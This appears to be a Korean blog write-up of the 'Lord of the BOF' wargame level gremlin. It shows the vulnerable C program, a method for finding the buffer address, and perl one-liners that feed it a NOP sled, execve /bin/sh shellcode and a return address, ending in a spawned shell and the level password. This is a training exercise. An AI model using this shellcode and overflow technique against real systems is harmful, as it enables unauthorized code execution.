반응형

소스부터 봅시다

[gate@localhost gate]$ cat gremlin.c

/*

The Lord of the BOF : The Fellowship of the BOF 

- gremlin

- simple BOF

*/

 

int main(int argc, char *argv[])

{

    char buffer[256];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}

strcpy에서 BOF를 사용할 수 있다는건 익히 아실 겁니다 

또한 해당 버전에서는 더미가 존재하지 않습니다.

따라서 쉘코드를 포함하여 버퍼를 256 채우고 SFP를 채우고, ret주소 까지 제대로 넣어주게 되면

이번 레벨의 목표는 달성하게 됩니다

근데 해보니까 gdb에서 브레이크까지는 걸리는데 continue 명령이 안먹히더군요

그래서 조금 달리생각해서 소스코드를 /tmp 아래에 복사해서 간접적으로 주소를 알아내는 방법으로 문제를 

접근했습니다

[gate@localhost /tmp]$ cat test.c

/*

The Lord of the BOF : The Fellowship of the BOF 

- gremlin

- simple BOF

*/

 

int main(int argc, char *argv[])

{

    char buffer[256];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

printf("%x\n",buffer);

}

굵은 부분으로 표시한 것처럼 소스를 추가해주게 되면 들어간 부분에서 가장 끝부분의 주소를 뱉어주게 됩니다.

따라서  1차적으로 페이로드를 구성해보면(아직은 retn 주소를 모르니까)

| 쉘코드를 포함한  buf [256](나머지는 썰매로) | | SFP(4byte) | | retn|

구현해보면,

[gate@localhost /tmp]$ ./test `perl -e 'print "\x90"x37,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x90"x200,"BBBB"'`

?????????????????????????????????????1픐h//shh/bin??S??

                                                         것€????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????BBBB

bffff8f8

Segmentation fault (core dumped)

(BBBB 부분은 retn 주소를 모르므로 임시방편으로 넣어둔 겁니다) 

이렇게 주소를 뱉어주게 됩니다

retn 주소를 넣고 본래의 문제 소스에다가 넣어주게 되면 


[gate@localhost gate]$ ./gremlin `perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\x

????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??

                                                                                                                        것€????????????????????????????????????????????????????????????????????????????????瓢

bash$ my-pass

euid = 501

hello bof world

bash$                          

쉘이 떨어지게 됩니다 


반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)Level6.wolfman  (0) 2014.08.11
(LOB)Level5.orc  (0) 2014.08.11
(LOB)Level4.goblin  (0) 2014.08.11
(LOB)Level3.Cobolt  (1) 2014.08.10
(LOB)Level2.gremlin  (0) 2014.08.08
,